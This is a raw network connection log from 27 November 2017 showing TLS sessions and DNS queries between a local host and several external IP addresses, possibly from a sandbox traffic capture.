Nov 27, 2017 12:34:20.411612034 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.411627054 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.411633968 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.411705971 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.416786909 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.420872927 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.420886993 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.421020985 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.421076059 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.437589884 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.437622070 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.437627077 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.437649012 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.437654972 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.437714100 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.437722921 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.437822104 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.437855005 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.449234962 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.449284077 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.449297905 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.449471951 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.449534893 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.471100092 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.471132040 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.471138954 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.471147060 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.471153021 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.471216917 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.471225023 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.471468925 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.471527100 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.475594044 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.475637913 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.475833893 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.475866079 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.492314100 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.492332935 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.492340088 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.492455006 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.492510080 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.499058962 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.499078035 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.499284983 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.499305010 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.499316931 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.499325991 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.499351025 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.499706030 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.509855986 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.509901047 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.509915113 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.510092020 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.527766943 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.527793884 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.527801037 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.527865887 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.527872086 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.531759977 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.531791925 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.534096956 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.534109116 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.534676075 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.534687042 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.534692049 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.535757065 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.535792112 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.547305107 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.547323942 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.547712088 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.547744989 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.559114933 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.559133053 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.559253931 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.559315920 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.561343908 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.561359882 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.561440945 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.561474085 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.566728115 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.566745996 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.566869974 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.566911936 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.568520069 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.568532944 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.568598032 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.568631887 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.590898037 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.590917110 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.590982914 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.590996027 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.591006041 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.591090918 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.591211081 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.591245890 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.598006964 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.598022938 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.598160028 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.598201990 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.607424021 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.607440948 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.607611895 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.607645988 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.622956991 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.622971058 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.623162985 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.623233080 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.635226965 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.635243893 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.635338068 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.635371923 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.636888981 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.636902094 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.636993885 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.637023926 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.645272017 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.645292997 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.645468950 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.645504951 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.655646086 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.655659914 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.655801058 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.655859947 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.685470104 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.685483932 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.685726881 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.685758114 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.698023081 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.698039055 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.698223114 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.698292017 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.728596926 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.728620052 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.728626013 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.728792906 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.728837967 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.736152887 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.736166954 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.736289978 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.736323118 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.744388103 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.744404078 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.744508982 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.744540930 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.759475946 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.759500027 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.759706020 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.759787083 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.779452085 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.779484034 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.779489994 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.779727936 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.779788971 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.794787884 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.794817924 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.794987917 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.795053005 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.798609972 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.798623085 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.798707008 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.798733950 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.842956066 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.842978954 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.842986107 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.843147039 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.843178988 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.869569063 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.869584084 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.869915962 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.869947910 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.873850107 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.873869896 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.874108076 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.874130964 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.910887003 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.910904884 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.911048889 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.911058903 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.911066055 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.911983967 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.912043095 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.948632956 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.948651075 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.949002981 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.949023008 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.958113909 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.958129883 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.958479881 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.958512068 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.065258026 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.065289974 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.065479040 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:21.065505028 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.091018915 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.091047049 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.091182947 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:21.091212988 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.115545988 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.115575075 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.115581989 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.115720987 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:21.115747929 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.115956068 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.115972996 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.116934061 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:21.116965055 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.133694887 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.133735895 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.133754015 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.133929014 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:21.133960962 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.140820026 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.140850067 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.141037941 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:21.141064882 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.166743040 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.166776896 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.166970015 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:21.167000055 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.184322119 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.184349060 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.184722900 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:21.184751034 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.195553064 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.195772886 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:21.195847988 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.202579021 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.202611923 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.202708960 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:21.202743053 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.225199938 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.225393057 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:21.225451946 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.230798960 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.230827093 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.230937004 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:21.230978012 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.244117022 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.244148016 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.244431973 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:21.244487047 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.254182100 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.254216909 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.254436970 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:21.254482985 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.298759937 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.298794031 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.298810959 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.299021006 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:21.299046993 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.336714983 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.336853981 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:21.336885929 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:21.538714886 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:22.393054008 CET	53340	53	192.168.1.91	8.8.8.8
Nov 27, 2017 12:34:23.383944035 CET	53340	53	192.168.1.91	8.8.8.8
Nov 27, 2017 12:34:24.384159088 CET	53340	53	192.168.1.91	8.8.8.8
Nov 27, 2017 12:34:26.382581949 CET	53340	53	192.168.1.91	8.8.8.8
Nov 27, 2017 12:34:27.479729891 CET	53	53340	8.8.8.8	192.168.1.91
Nov 27, 2017 12:34:27.479821920 CET	53	53340	8.8.8.8	192.168.1.91
Nov 27, 2017 12:34:27.479888916 CET	53	53340	8.8.8.8	192.168.1.91
Nov 27, 2017 12:34:27.479933977 CET	53	53340	8.8.8.8	192.168.1.91
Nov 27, 2017 12:34:27.481702089 CET	49163	443	192.168.1.91	212.51.156.17
Nov 27, 2017 12:34:27.481775999 CET	443	49163	212.51.156.17	192.168.1.91
Nov 27, 2017 12:34:27.481945038 CET	49163	443	192.168.1.91	212.51.156.17
Nov 27, 2017 12:34:27.483097076 CET	49163	443	192.168.1.91	212.51.156.17
Nov 27, 2017 12:34:27.483141899 CET	443	49163	212.51.156.17	192.168.1.91
Nov 27, 2017 12:34:27.680500031 CET	443	49163	212.51.156.17	192.168.1.91
Nov 27, 2017 12:34:27.680535078 CET	443	49163	212.51.156.17	192.168.1.91
Nov 27, 2017 12:34:27.680916071 CET	49163	443	192.168.1.91	212.51.156.17
Nov 27, 2017 12:34:27.689304113 CET	49163	443	192.168.1.91	212.51.156.17
Nov 27, 2017 12:34:27.689351082 CET	443	49163	212.51.156.17	192.168.1.91
Nov 27, 2017 12:34:27.691234112 CET	49164	443	192.168.1.91	212.51.156.17
Nov 27, 2017 12:34:27.691282988 CET	443	49164	212.51.156.17	192.168.1.91
Nov 27, 2017 12:34:27.691401005 CET	49164	443	192.168.1.91	212.51.156.17
Nov 27, 2017 12:34:27.692097902 CET	49164	443	192.168.1.91	212.51.156.17
Nov 27, 2017 12:34:27.692122936 CET	443	49164	212.51.156.17	192.168.1.91
Nov 27, 2017 12:34:28.091841936 CET	443	49164	212.51.156.17	192.168.1.91
Nov 27, 2017 12:34:28.091900110 CET	443	49164	212.51.156.17	192.168.1.91
Nov 27, 2017 12:34:28.092502117 CET	49164	443	192.168.1.91	212.51.156.17
Nov 27, 2017 12:34:28.094866991 CET	49164	443	192.168.1.91	212.51.156.17
Nov 27, 2017 12:34:28.094914913 CET	443	49164	212.51.156.17	192.168.1.91
Nov 27, 2017 12:34:29.018681049 CET	63488	53	192.168.1.91	8.8.8.8
Nov 27, 2017 12:34:29.219369888 CET	53	63488	8.8.8.8	192.168.1.91
Nov 27, 2017 12:34:29.220591068 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:29.220627069 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.220824957 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:29.221509933 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:29.221532106 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.449438095 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.449462891 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.449467897 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.449635029 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:29.468302011 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:29.468324900 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.595103979 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.687248945 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:29.687325954 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.827883959 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.827914953 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.828160048 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:29.835618019 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.835644007 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.835652113 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.835887909 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:29.854857922 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.854876041 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.854885101 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.854979038 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:29.862324953 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.869508982 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.869518995 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.869641066 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:29.869656086 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.883562088 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.883579016 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.883908987 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:29.883935928 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.890754938 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.890770912 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.891339064 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:29.891362906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.897845030 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.897864103 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.898015976 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:29.898047924 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.913201094 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.913217068 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.913317919 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:29.913347960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.920156956 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.920182943 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.920352936 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:29.920371056 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.937587976 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.937608004 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.937688112 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:29.937706947 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.938918114 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.938931942 CET	443	49165	89.45.235.21	192.168.1.91
